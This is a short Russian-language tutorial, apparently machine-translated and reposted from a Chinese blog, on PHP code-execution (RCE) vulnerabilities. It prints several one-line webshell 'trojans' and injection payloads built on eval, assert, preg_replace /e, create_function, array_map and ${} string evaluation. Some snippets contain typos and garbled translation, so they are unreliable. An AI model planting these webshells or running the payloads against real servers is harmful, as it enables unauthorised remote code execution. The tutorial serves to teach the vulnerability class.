Всем привет, мы снова встретились, я ваш друг Цюаньчжаньцзюнь.
**
**
1. Принцип уязвимости выполнения кода: Данные, введенные пользователем, выполняются как внутренний код.
<?php @eval($_REQUEST[8])?>//По сути, суть трояна — уязвимость выполнения кода.。Данные, введенные пользователем, рассматриваются как код и выполняются.。
Позвольте мне упомянуть RCE (удаленное выполнение команды/кода) – удаленное выполнение команды или кода. Теперь, пока конечная ситуация проникновения может реализовать выполнение команд или кода, она принадлежит RCE. Например, выполнение кода, включение файлов, десериализация, выполнение команд и даже запись файлов с помощью Getshell могут принадлежать RCE. В PHP существует множество функций, которые могут выполнять код. Для удобства напишите код, который будет выполняться, как $a
1.eval($a); //eval чаще всего используется для выполнения кода и может выполняться в несколько строк.
eval(\$_REQUEST['a']);
2.assert(a); //Может быть выполнено только в одну строку assert(\_REQEUST['a'])//Как выполнить несколько строк Запишите файл и затем выполните его, например:
file_put_contents('1.php','<?php var_dump(8);phpinfo();?>')
3.preg_replace() //Обычная функция замены, preg_replace(’/a/’,’x’,’abc’); Э
<?php echo preg_replace('/a/e',$_GET[8],'abc')?>
Замена должна действительно произойти до того, как функция будет активирована. Если замена не произойдет, она не будет активирована.
<?php
\$a = $_REQUEST['a'];
$f2 = create_function('',$a);
$f2();
?>
Вы также можете запустить без вызова:
<?php
\$a = $_REQUEST['a'];
$f2 = create_function('',$a);
//?a=}phpinfo();
5.array_map //Функция обратного вызова вызывает определенную функцию. На следующем рисунке показано использование этой функции. Вызовите функцию куба и передайте параметры.
Троян в одном предложении:
array_map('assert',array($_POST['a']));
array_map($_REQUSET['b'],$_REQUEST);
Eval нельзя вызвать, поскольку eval является специальной функцией и не считается функцией, написанной особым образом. call_user_func() также можно вызвать обратно. В PHP существует множество функций обратного вызова.
6. Специальная комбинация (вторичный анализ двойных кавычек) Можно использовать PHP версии 5.5 и выше. “{phpinfo()}”; => Выполнение кода phpinfo() Строки PHP могут использовать сложные выражения. Например
${
phpinfo()};
$a = ${
phpinfo()};
Заявление об авторских правах: Содержание этой статьи добровольно предоставлено пользователями Интернета, а мнения, выраженные в этой статье, представляют собой только точку зрения автора. Этот сайт предоставляет только услуги по хранению информации, не имеет никаких прав собственности и не принимает на себя соответствующие юридические обязательства. Если вы обнаружите на этом сайте какое-либо подозрительное нарушение авторских прав/незаконный контент, отправьте электронное письмо, чтобы сообщить. После проверки этот сайт будет немедленно удален.
Издатель: Лидер стека программистов полного стека, укажите источник для перепечатки: https://javaforall.cn/188414.html Исходная ссылка: https://javaforall.cn